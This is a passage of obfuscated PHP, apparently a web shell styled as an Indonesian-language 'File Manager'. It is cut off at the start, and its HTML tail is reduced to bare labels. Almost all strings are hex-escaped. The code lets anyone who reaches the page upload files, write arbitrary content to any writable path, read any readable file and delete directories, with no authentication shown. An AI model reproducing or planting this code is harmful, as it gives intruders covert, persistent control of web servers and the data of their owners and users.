= 1073741824) return round($b/1073741824, 1)."\x20\107\x42"; if ($b >= 1048576) return round($b/1048576, 1)."\x20\115\x42"; if ($b >= 1024) return round($b/1024, 1)."\x20\113\x42"; return $b."\x20\102"; } function fIcon($name) { $e = strtolower(pathinfo($name, PATHINFO_EXTENSION)); $m = array( "\x70\144\x66"=>"\xF0\237\x93\225","\x70\150\x70"=>"\xF0\237\x90\230","\x6A\163"=>"\xF0\237\x93\234","\x68\164\x6D\154"=>"\xF0\237\x8C\220","\x68\164\x6D"=>"\xF0\237\x8C\220", "\x63\163\x73"=>"\xF0\237\x8E\250","\x6A\163\x6F\156"=>"\xF0\237\x93\213","\x78\155\x6C"=>"\xF0\237\x93\204","\x73\161\x6C"=>"\xF0\237\x97\203\xEF\270\x8F", "\x6A\160\x67"=>"\xF0\237\x96\274\xEF\270\x8F","\x6A\160\x65\147"=>"\xF0\237\x96\274\xEF\270\x8F","\x70\156\x67"=>"\xF0\237\x96\274\xEF\270\x8F","\x67\151\x66"=>"\xF0\237\x96\274\xEF\270\x8F","\x77\145\x62\160"=>"\xF0\237\x96\274\xEF\270\x8F", "\x7A\151\x70"=>"\xF0\237\x97\234\xEF\270\x8F","\x72\141\x72"=>"\xF0\237\x97\234\xEF\270\x8F","\x67\172"=>"\xF0\237\x97\234\xEF\270\x8F","\x74\141\x72"=>"\xF0\237\x97\234\xEF\270\x8F", "\x74\170\x74"=>"\xF0\237\x93\235","\x6D\144"=>"\xF0\237\x93\235","\x63\163\x76"=>"\xF0\237\x93\212","\x6C\157\x67"=>"\xF0\237\x93\213", "\x6D\160\x34"=>"\xF0\237\x8E\254","\x6D\160\x33"=>"\xF0\237\x8E\265","\x64\157\x63\170"=>"\xF0\237\x93\230","\x78\154\x73\170"=>"\xF0\237\x93\227","\x70\160\x74\170"=>"\xF0\237\x93\231", ); return isset($m[$e]) ? $m[$e] : "\xF0\237\x93\204"; } // Upload if ($act === "\x75\160" && isset($_FILES["\x66"])) { $ok = 0; foreach ($_FILES["\x66"]["\x6E\141\x6D\145"] as $i => $n) { if ($_FILES["\x66"]["\x65\162\x72\157\x72"][$i] !== 0) continue; $dst = $cur . "\x2F" . basename($n); if (move_uploaded_file($_FILES["\x66"]["\x74\155\x70\137\x6E\141\x6D\145"][$i], $dst)) $ok++; } $_SESSION["\x6D\163\x67"] = $ok . "\x20\146\x69\154\x65\040\x62\145\x72\150\x61\163\x69\154\x20\144\x69\165\x70\154\x6F\141\x64\056"; header("\x4C\157\x63\141\x74\151\x6F\156\x3A\040\x3F\144\x3D" . urlencode($cur)); exit; } // Buat folder if ($act === "\x6D\144") { $n = trim(isset($_POST["\x6E"]) ? $_POST["\x6E"] : ""); $n = preg_replace("\x2F\133\x5E\141\x2D\172\x41\055\x5A\060\x2D\071\x2E\137\x5C\055\x20\135\x2F", "", $n); if ($n === "") { $err = "\x4E\141\x6D\141\x20\146\x6F\154\x64\145\x72\040\x6B\157\x73\157\x6E\147\x2E"; } elseif (file_exists($cur . "\x2F" . $n)) { $err = "\x53\165\x64\141\x68\040\x61\144\x61\056"; } elseif (mkdir($cur . "\x2F" . $n, 0755, true)) { $_SESSION["\x6D\163\x67"] = "\x46\157\x6C\144\x65\162\x20\142\x65\162\x68\141\x73\151\x6C\040\x64\151\x62\165\x61\164\x2E"; header("\x4C\157\x63\141\x74\151\x6F\156\x3A\040\x3F\144\x3D" . urlencode($cur)); exit; } else { $err = "\x47\141\x67\141\x6C\040\x6D\145\x6D\142\x75\141\x74\040\x66\157\x6C\144\x65\162\x2E"; } } // Buat file if ($act === "\x6E\146") { $n = trim(isset($_POST["\x6E"]) ? $_POST["\x6E"] : ""); $n = preg_replace("\x2F\133\x5E\141\x2D\172\x41\055\x5A\060\x2D\071\x2E\137\x5C\055\x5D\057", "", $n); $c = isset($_POST["\x63"]) ? $_POST["\x63"] : ""; if ($n === "") { $err = "\x4E\141\x6D\141\x20\146\x69\154\x65\040\x6B\157\x73\157\x6E\147\x2E"; } elseif (file_exists($cur . "\x2F" . $n)) { $err = "\x46\151\x6C\145\x20\163\x75\144\x61\150\x20\141\x64\141\x2E"; } elseif (file_put_contents($cur . "\x2F" . $n, $c) !== false) { $_SESSION["\x6D\163\x67"] = "\x46\151\x6C\145\x20\142\x65\162\x68\141\x73\151\x6C\040\x64\151\x62\165\x61\164\x2E"; header("\x4C\157\x63\141\x74\151\x6F\156\x3A\040\x3F\144\x3D" . urlencode($cur)); exit; } else { $err = "\x47\141\x67\141\x6C\040\x6D\145\x6D\142\x75\141\x74\040\x66\151\x6C\145\x2E"; } } // Save edit file if ($act === "\x73\141\x76\145\x66\151\x6C\145") { $target = isset($_POST["\x74\141\x72\147\x65\164"]) ? $_POST["\x74\141\x72\147\x65\164"] : ""; $content = isset($_POST["\x63\157\x6E\164\x65\156\x74"]) ? $_POST["\x63\157\x6E\164\x65\156\x74"] : ""; if ($target === "" || !is_file($target)) { $err = "\x46\151\x6C\145\x20\164\x69\144\x61\153\x20\144\x69\164\x65\155\x75\153\x61\156\x2E"; } elseif (!is_writable($target)) { $err = "\x46\151\x6C\145\x20\164\x69\144\x61\153\x20\142\x69\163\x61\040\x64\151\x74\165\x6C\151\x73\056"; } elseif (file_put_contents($target, $content) !== false) { $_SESSION["\x6D\163\x67"] = "\x46\151\x6C\145\x20\142\x65\162\x68\141\x73\151\x6C\040\x64\151\x73\151\x6D\160\x61\156\x2E"; header("\x4C\157\x63\141\x74\151\x6F\156\x3A\040\x3F\144\x3D" . urlencode(dirname($target))); exit; } else { $err = "\x47\141\x67\141\x6C\040\x6D\145\x6E\171\x69\155\x70\141\x6E\040\x66\151\x6C\145\x2E"; } } // Delete file / folder if ($act === "\x64\145\x6C") { $target = isset($_POST["\x74\141\x72\147\x65\164"]) ? $_POST["\x74\141\x72\147\x65\164"] : ""; if ($target === "" || !file_exists($target)) { $err = "\x54\141\x72\147\x65\164\x20\164\x69\144\x61\153\x20\144\x69\164\x65\155\x75\153\x61\156\x2E"; } else { $ok = false; if (is_dir($target)) { $ok = rrmdir($target); } else { $ok = @unlink($target); } if ($ok) { $_SESSION["\x6D\163\x67"] = "\x42\145\x72\150\x61\163\x69\154\x20\144\x69\150\x61\160\x75\163\x2E"; header("\x4C\157\x63\141\x74\151\x6F\156\x3A\040\x3F\144\x3D" . urlencode($cur)); exit; } else { $err = "\x47\141\x67\141\x6C\040\x6D\145\x6E\147\x68\141\x70\165\x73\056"; } } } // Flash message if (isset($_SESSION["\x6D\163\x67"])) { $msg = $_SESSION["\x6D\163\x67"]; unset($_SESSION["\x6D\163\x67"]); } // Mode edit $editFile = isset($_GET["\x65\144\x69\164"]) ? $_GET["\x65\144\x69\164"] : ""; $editMode = false; $editContent = ""; if ($editFile !== "") { if (is_file($editFile) && is_readable($editFile)) { $editMode = true; $editContent = file_get_contents($editFile); if ($editContent === false) $editContent = ""; } else { $err = "\x46\151\x6C\145\x20\145\x64\151\x74\040\x74\151\x64\141\x6B\040\x64\151\x74\145\x6D\165\x6B\141\x6E\040\x2F\040\x74\151\x64\141\x6B\040\x62\151\x73\141\x20\144\x69\142\x61\143\x61\056"; } } // Daftar isi direktori $dirs = array(); $files = array(); if (is_dir($cur) && is_readable($cur)) { $items = scandir($cur); foreach ($items as $it) { if ($it === "\x2E" || $it === "\x2E\056") continue; $abs = $cur . "\x2F" . $it; if (is_dir($abs)) { $dirs[] = $it; } else { $files[] = $it; } } sort($dirs); sort($files); } $totalItems = count($dirs) + count($files); ?> File Manager
📍
⚠️
✏️ Edit File:
⬅ Kembali
Batal
🗂️

Folder kosong.

Nama Tipe Ukuran Diubah Aksi
📁 dir
📂 Buka